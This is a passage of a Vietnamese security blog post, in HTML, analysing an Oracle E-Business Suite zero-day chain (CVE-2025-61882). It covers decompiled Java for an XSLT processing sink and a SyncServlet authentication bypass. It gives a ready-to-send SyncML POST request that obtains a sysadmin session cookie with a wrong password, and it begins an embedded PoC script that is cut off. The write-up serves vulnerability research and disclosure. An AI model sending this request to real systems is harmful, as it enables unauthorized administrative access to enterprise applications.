href="https://substackcdn.com/image/fetch/$s_!yfLg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yfLg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 424w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 848w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 1272w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yfLg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png" width="1186" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1186,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yfLg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 424w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 848w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 1272w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WI6t!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WI6t!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 424w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 848w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 1272w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WI6t!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png" width="1181" height="322" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:322,&quot;width&quot;:1181,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WI6t!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 424w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 848w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 1272w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>t&#7841;i <code>TemplateGeneralCO.previewTemplate()</code>, ti&#7871;p t&#7909;c check xem c&#243; t&#7891;n t&#7841;i param <code>TemplateCode</code> n&#7871;u c&#243; s&#7869; g&#7885;i t&#7899;i <code>TemplatesAMImpl.processTemplate()</code> &#8594; <code>TemplateHelper.processTemplate()</code> &#8594; <code>TemplateHelper.runProcessTemplate()</code>.</p><p>Method <code>TemplateHelper.runProcessTemplate()</code> s&#7869; ch&#7885;n c&#225;c engine t&#432;&#417;ng &#7913;ng v&#7899;i template type &#273;&#7875; x&#7917; l&#253;. Template type c&#7911;a ta l&#224; <code>XSL-HTML</code> s&#7869; do engine <code>XSLTWrapper</code> x&#7917; l&#253; :</p><pre><code><code>else {
  Logger.log("TemplateHelper.runProcessTemplate(): Calling XSLT processor.", 1);
  XSLTWrapper var36 = new XSLTWrapper(var8);
  if (var2.getClass().isArray()) {
      throw new XDOException("You cannot pass multiple data XMLs to PDF Form processor.");
  }

  if (var2.getClass().getName().endsWith("Reader")) {
      var36.transform((Reader)var2, new InputStreamReader(var10, "UTF-8"), var22);
  } else {
      var36.transform((InputStream)var2, var10, var22);
}
</code></code></pre><p>t&#7915; &#273;&#226;y ti&#7871;p t&#7909;c call t&#7899;i <code>XSLT10gR1.transform()</code> &#8594; <code>XSLT10gR1.invokeProcessXSL()</code> v&#224; &#273;&#226;y c&#361;ng ch&#237;nh l&#224; sink c&#7911;a bug n&#224;y:</p><pre><code><code>private void invokeProcessXSL(Object var1, Object var2, Object var3, OutputStream var4) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
    Class[] var5 = new Class[]{Class.forName("oracle.xdo.parser.v2.XSLStylesheet"), Class.forName("oracle.xdo.parser.v2.XMLDocument"), class$java$io$OutputStream != null ? class$java$io$OutputStream : (class$java$io$OutputStream = class$("java.io.OutputStream"))};
    Method var6 = null;
    var6 = var1.getClass().getMethod("processXSL", var5);
    var6.invoke(var1, var2, var3, var4);
}
</code></code></pre><p>Stack trace t&#7915; sink t&#7899;i source:</p><pre><code><code>oracle.apps.xdo.common.xml.XSLT10gR1.invokeProcessXSL(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLTWrapper.transform(Unknown Source)
oracle.apps.xdo.oa.schema.server.TemplateHelper.runProcessTemplate(TemplateHelper.java:6108)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3481)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3570)
oracle.apps.xdo.oa.template.server.TemplatesAMImpl.processTemplate(TemplatesAMImpl.java:2144)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:606)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAApplicationModuleImpl.invokeMethod(OAApplicationModuleImpl.java:787)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.previewTemplate(TemplateGeneralCO.java:774)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest(TemplateGeneralCO.java:158)</code></code></pre><h2><strong>2. Authentication Bypass</strong></h2><p>&#272;&#226;y c&#243; l&#7869; l&#224; m&#7843;nh gh&#233;p cu&#7889;i c&#249;ng c&#242;n thi&#7871;u c&#7911;a 0day n&#224;y, m&#7863;c d&#249; &#273;&#227; &#273;&#432;&#7907;c &#273;&#7873; c&#7853;p trong c&#225;c b&#224;i ph&#226;n t&#237;ch c&#7911;a CrowdStrike v&#224; Mandiant, tuy nhi&#234;n &#273;&#7875; produce &#273;&#432;&#7907;c, c&#7847;n ph&#7843;i setup lab v&#224; debug s&#226;u h&#417;n.</p><p>Theo b&#224;i ph&#226;n t&#237;ch c&#7911;a c&#7843; CrowdStrike v&#224; Mandiant, chu&#7895;i khai th&#225;c n&#224;y b&#7855;t &#273;&#7847;u b&#7857;ng m&#7897;t request <code>POST</code> t&#7899;i endpoint <code>/OA_HTML/SyncServlet</code>.</p><p>Servlet n&#224;y &#273;&#432;&#7907;c &#273;&#7883;nh ngh&#297;a trong t&#7879;p <code>web.xml</code> t&#7841;i &#273;&#432;&#7901;ng d&#7851;n: <code>/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml</code></p><pre><code><code>&lt;servlet-mapping&gt; 
        &lt;servlet-name&gt;SyncServlet&lt;/servlet-name&gt; 
        &lt;url-pattern&gt;/SyncServlet&lt;/url-pattern&gt; 
    &lt;/servlet-mapping&gt;

&lt;servlet&gt; 
     &lt;servlet-name&gt;SyncServlet&lt;/servlet-name&gt; 
     &lt;servlet-class&gt;oracle.apps.jtf.cac.sync.transport.SyncServlet&lt;/servlet-class&gt; 
  &lt;/servlet&gt;
</code></code></pre><p>V&#7873; c&#417; b&#7843;n, servlet n&#224;y &#273;&#243;ng vai tr&#242; l&#224; m&#7897;t HTTP Gateway &#273;&#7875; x&#7917; l&#253; vi&#7879;c &#273;&#7891;ng b&#7897; h&#243;a l&#7883;ch gi&#7919;a Oracle EBS v&#224; c&#225;c thi&#7871;t b&#7883; ho&#7863;c &#7913;ng d&#7909;ng b&#234;n ngo&#224;i (nh&#432; Outlook ho&#7863;c &#273;i&#7879;n tho&#7841;i di &#273;&#7897;ng) d&#7921;a tr&#234;n giao th&#7913;c SyncML (Synchronization Markup Language).</p><p>Ban &#273;&#7847;u <code>SyncServlet</code> s&#7869; ki&#7875;m tra message hi&#7879;n t&#7841;i c&#243; thu&#7897;c phi&#234;n &#273;ang t&#7891;n t&#7841;i kh&#244;ng d&#7921;a tr&#234;n param <code>sid</code> v&#224; <code>state</code>, n&#7871;u c&#243; th&#236; ti&#7871;p t&#7909;c duy tr&#236; phi&#234;n &#273;&#243;:</p><pre><code><code>String var14 = var1.getParameter("sid");
String var15 = var1.getParameter("state");


if (var14 != null &amp;&amp; var14.length() &gt; 0 &amp;&amp; !String.valueOf(3).equals(var15) &amp;&amp; !String.valueOf(1).equals(var15)) {
    var28 = new SyncContextManager();
    this.context = var28.getSyncContext((String)null, (String)null, var25, (Message)null, var8, var129, var10);
    this.context.setPrincipalInfo(var19, var18);
  
    SyncPersistentStore var29 = new SyncPersistentStore(this.context);
    this.context.setPersistentStore(var29);

   
    if (!this.context.validateSession(var14, true)) {
        throw new ServiceUnavailableException("Server Timed Out");
    }
  
    var6 = new SyncHandler(this.context);
    if (var19 != null &amp;&amp; var18 != null) {
        var6.readPrincipal(var19, var18);
    }

    HashMap var30 = var29.getSyncAgents();
    Iterator var31 = var30.keySet().iterator();
    var32 = null;
    HashMap var33 = new HashMap(10);

    while (var31.hasNext()) {
        SyncAgent var34 = (SyncAgent) var30.get(var31.next());
        if (var34 != null) {
            var32 = var1.getParameter(var34.name);
        }

        if (var32 != null) {
            Database var35 = new Database(
                var34.uri, 
                (String)null, 
                (Target)null, 
                (Source)null, 
                new SyncAnchor((String)null, var17), 
                (Principal)null
            );
            var35.setServerAnchor(new SyncAnchor((String)null, var32));
            var33.put(var34.uri, var35);
        }
    }

    var6.setDbs(var33);
}
</code></code></pre><p>n&#7871;u trong message kh&#244;ng c&#243; hai param tr&#234;n <code>SyncServlet</code> s&#7869; ti&#7871;n h&#224;nh x&#225;c th&#7921;c b&#7857;ng username v&#224; password:</p><pre><code><code>  if (var6 == null) {    
      var19 = var5.getHeader().getCredential().getUsername();    // [1]
      var39 = var5.getHeader().getCredential().getPassword();
      var18 = var5.getHeader().getSource().getURI();
      if (var19 == null || var19.trim().length() == 0 || var39 == null || var39.trim().length() == 0) {
          throw new UnauthorizedException("Username or password is missing");
      }

      SyncContextManager var141 = new SyncContextManager();
      this.context = var141.getSyncContext(var19, var39, var25, var5, var8, var129, var10);
      var3 = this.context.getLogger();
      if (var3.isEnabled(2)) {
          var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
      }

      var141.createSession(this.context, var19, var39);    // [2]
      var14 = this.context.getSessionCookieValue();        // [4]
      var141.validateLogon(this.context, var19, var39);    // [3]
      var6 = new SyncHandler(this.context);
 } else {
      this.context = var6.getSyncContext();
      var3 = this.context.getLogger();
      if (var3.isEnabled(2)) {
          var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
      }
 }
</code></code></pre><p>&#272;i theo lu&#7891;ng x&#7917; l&#253; c&#7911;a method <code>doPost()</code>: n&#7871;u message SyncML (var 5) kh&#244;ng ch&#7913;a sid, method s&#7869; th&#7921;c hi&#7879;n c&#225;c b&#432;&#7899;c sau:</p><ul><li><p>[1]: L&#7845;y username v&#224; password t&#7915; header c&#7911;a SyncML.</p></li><li><p>[2]: T&#7841;o m&#7897;t session m&#7899;i cho user.</p></li><li><p>[3]: Check th&#244;ng tin &#273;&#259;ng nh&#7853;p.</p></li><li><p>[4]: G&#225;n session cookie v&#7915;a &#273;&#432;&#7907;c t&#7841;o cho var14.</p></li></ul><p>L&#7895;i logic xu&#7845;t hi&#7879;n ngay t&#7841;i &#273;&#226;y: <code>SyncServlet</code> s&#7869; t&#7841;o session tr&#432;&#7899;c khi ki&#7875;m tra m&#7853;t kh&#7849;u c&#7911;a user truy&#7873;n v&#224;o. N&#7871;u check method <code>createSession()</code>, ch&#250;ng ta c&#243; th&#7875; th&#7845;y n&#243; kh&#244;ng h&#7873; ki&#7875;m tra m&#7853;t kh&#7849;u m&#224; ch&#7881; x&#225;c nh&#7853;n xem username c&#243; t&#7891;n t&#7841;i hay kh&#244;ng:</p><pre><code><code>public void createSession(SyncContext var1, String var2, String var3) throws Exception {
        if (this.logger.isEnabled(2)) {
            this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "Enter createSession", 2);
        }

        try {
            this.logger = var1.getLogger();
            if (!var1.createSession(var2.toUpperCase())) {
                throw new UnauthorizedException("Session can't be created for " + var2);
            }

            SessionManager var4 = var1.getSessionManager();
            if (this.logger.isEnabled(3)) {
                this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "createSession returned successfully", 3);
            }
        } catch (Exception var8) {
            // REDACTED
        } finally {
            // REDACTED
        }

    }
</code></code></pre><p>Ch&#7881; c&#7847;n username t&#7891;n t&#7841;i trong h&#7879; th&#7889;ng, m&#7897;t session s&#7869; &#273;&#432;&#7907;c kh&#7903;i t&#7841;o.</p><p>M&#7863;c d&#249; <code>validateLogon()</code> s&#7869; throw exception <code>UnauthorizedException</code> n&#7871;u password sai, nh&#432;ng nh&#225;nh <code>catch</code> sau &#273;&#243; s&#7869; nu&#7889;t exception n&#224;y &#273;&#7875; return th&#244;ng b&#225;o l&#7895;i cho client m&#224; kh&#244;ng h&#7873; h&#7911;y b&#7887; session v&#7915;a t&#7841;o.</p><pre><code><code>catch (Exception var233) {
     Exception var119 = var233;
     var39 = var119.fillInStackTrace();
     var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var119);
     if (!(var119 instanceof ServerException) &amp;&amp; !(var119 instanceof RepresentationException) &amp;&amp; !(var119 instanceof DataStoreFailureException) &amp;&amp; !(var119 instanceof ProtocolVersionNotSupportedException) 
    &amp;&amp; !(var119 instanceof BadRequestException) &amp;&amp; !(var119 instanceof UnauthorizedException)) {
         var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "exiting sync servlet due to unexpected exception", 3);
             throw new ServletException(var39.toString());
     }

     try {
         var4 = SyncErrorHandler.processError(var5, var12, var39);
         var7 = var4.getMessage();
         var112 = false;
         var210 = false;
     }
</code></code></pre><p>Cu&#7889;i c&#249;ng, EBS s&#7869; return response ch&#7913;a session cookie h&#7907;p l&#7879; v&#7873; cho client:</p><pre><code><code>if (var112) {
            // REDACTED
} 
else {
      // REDACTED
            if (var14 != null) {
                var131 = var131 + "sid=" + var14;    // [5]
            }  
        //REDACTED
            if (var4 != null &amp;&amp; var7 != null) {
                if (var131 != null &amp;&amp; var131.length() &gt; 0) {
                    var131 = URLEncoder.encode(var131);
                    var7.getHeader().setResponseURI(var131);    // [6]
                }
                if (var3 != null &amp;&amp; var3.isEnabled(2)) {
                    var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Response SYNC Message: " + var7.toString(), 2);
                }
                var137 = null;
                if ("application/vnd.syncml+xml".equals(var4.getMimeType())) {
                    var137 = var7.toXML().getBytes();
                } else if ("application/vnd.syncml+wbxml".equals(var4.getMimeType())) {
                    try {
                        var137 = WBXMLTools.toWBXML(var7);     
                    } catch (Exception var216) {
                        var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var216);
                    }
                }
                try {
                    ((OutputStream)var20).write(var137);        // [7]
                } catch (Exception var214) {
                    var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var214);
                } finally {
                    ((OutputStream)var20).flush();
                    ((OutputStream)var20).close();
                }

            } else {
                var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "null response message", 4);
                throw new ServletException("response message is null");
            }
</code></code></pre><ul><li><p>[5]: G&#225;n cookie v&#7915;a t&#7841;o v&#224;o param &#8216;sid&#8217;</p></li><li><p>[6]: &#272;&#432;a v&#224;o tag ResponseURI</p></li><li><p>[7]: Return l&#7841;i cho client</p></li></ul><p><strong>T&#243;m l&#7841;i:</strong> &#272;&#7875; chi&#7871;m &#273;&#432;&#7907;c phi&#234;n &#273;&#259;ng nh&#7853;p c&#7911;a m&#7897;t user b&#7845;t k&#7923; (v&#237; d&#7909;: <code>sysadmin</code>), ta ch&#7881; c&#7847;n g&#7917;i m&#7897;t message SyncML k&#232;m theo username, EBS s&#7869; tr&#7843; l&#7841;i m&#7897;t cookie h&#7907;p l&#7879; trong response :v (this must be a backdoor anyway &#175;\_(&#12484;)_/&#175;).</p><pre><code><code>POST /OA_HTML/SyncServlet HTTP/1.1
Host: apps.example.com:8000
Content-Type: application/vnd.syncml+xml
Content-Length: 607

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;SyncML&gt;
  &lt;SyncHdr&gt;
    &lt;VerDTD&gt;1.1&lt;/VerDTD&gt;
    &lt;VerProto&gt;SyncML/1.1&lt;/VerProto&gt;
    &lt;SessionID&gt; 1&lt;/SessionID&gt;
    &lt;MsgID&gt;1&lt;/MsgID&gt;

    &lt;Target&gt;&lt;LocURI&gt;http://localhost&lt;/LocURI&gt;&lt;/Target&gt;
    &lt;Source&gt;&lt;LocURI&gt;device-123&lt;/LocURI&gt;&lt;/Source&gt;

    &lt;Cred&gt;
      &lt;Meta&gt;
        &lt;Format&gt;b64&lt;/Format&gt;
        &lt;Type&gt;syncml:auth-basic&lt;/Type&gt;
      &lt;/Meta&gt;
      &lt;Data&gt;c3lzYWRtaW46V1JPTkdfUEFTUw==&lt;/Data&gt;  // Base64(username:password)
    &lt;/Cred&gt;
  &lt;/SyncHdr&gt;

  &lt;SyncBody&gt;
    &lt;Alert&gt;
      &lt;CmdID&gt;1&lt;/CmdID&gt;
      &lt;Data&gt;200&lt;/Data&gt;
    &lt;/Alert&gt;
    &lt;Final/&gt;
  &lt;/SyncBody&gt;
&lt;/SyncML&gt;
</code></code></pre><p><strong>Demo:</strong></p><div id="youtube2-Ys9dN016joM" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;Ys9dN016joM&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/Ys9dN016joM?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h1></h1><p><strong>PoC script:</strong></p><div class="github-gist" data-attrs="{&quot;innerHTML&quot;:&quot;<div id=\&quot;gist144648680\&quot; class=\&quot;gist\&quot;>\n    <div class=\&quot;gist-file\&quot; translate=\&quot;no\&quot; data-color-mode=\&quot;light\&quot; data-light-theme=\&quot;light\&quot;>\n      <div class=\&quot;gist-data\&quot;>\n        <div class=\&quot;js-gist-file-update-container js-task-list-container\&quot;>\n  <div id=\&quot;file-ebs_cve-2025-61882_poc-py\&quot; class=\&quot;file my-2\&quot;>\n    \n    <div itemprop=\&quot;text\&quot;\n      class=\&quot;Box-body p-0 blob-wrapper data type-python  \&quot;\n      style=\&quot;overflow: auto\&quot; tabindex=\&quot;0\&quot; role=\&quot;region\&quot;\n      aria-label=\&quot;EBS_CVE-2025-61882_poc.py content, created by testanull on 08:47AM today.\&quot;\n    >\n\n        \n<div class=\&quot;js-check-hidden-unicode js-blob-code-container blob-code-content\&quot;>\n\n  <template class=\&quot;js-file-alert-template\&quot;>\n  <div data-view-component=\&quot;true\&quot; class=\&quot;flash flash-warn flash-full d-flex flex-items-center\&quot;>\n  <svg aria-hidden=\&quot;true\&quot; height=\&quot;16\&quot; viewBox=\&quot;0 0 16 16\&quot; version=\&quot;1.1\&quot; width=\&quot;16\&quot; data-view-component=\&quot;true\&quot; class=\&quot;octicon octicon-alert\&quot;>\n    <path d=\&quot;M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\&quot;></path>\n</svg>\n    <span>\n      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.\n      <a class=\&quot;Link--inTextBlock\&quot; href=\&quot;https://github.co/hiddenchars\&quot; target=\&quot;_blank\&quot;>Learn more about bidirectional Unicode characters</a>\n    </span>\n\n\n  <div data-view-component=\&quot;true\&quot; class=\&quot;flash-action\&quot;>        <a href=\&quot;{{ revealButtonHref }}\&quot; data-view-component=\&quot;true\&quot; class=\&quot;btn-sm btn\&quot;>    Show hidden characters\n</a>\n</div>\n</div></template>\n<template class=\&quot;js-line-alert-template\&quot;>\n  <span aria-label=\&quot;This line has hidden Unicode characters\&quot; data-view-component=\&quot;true\&quot; class=\&quot;line-alert tooltipped tooltipped-e\&quot;>\n    <svg aria-hidden=\&quot;true\&quot; height=\&quot;16\&quot; viewBox=\&quot;0 0 16 16\&quot; version=\&quot;1.1\&quot; width=\&quot;16\&quot; data-view-component=\&quot;true\&quot; class=\&quot;octicon octicon-alert\&quot;>\n    <path d=\&quot;M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 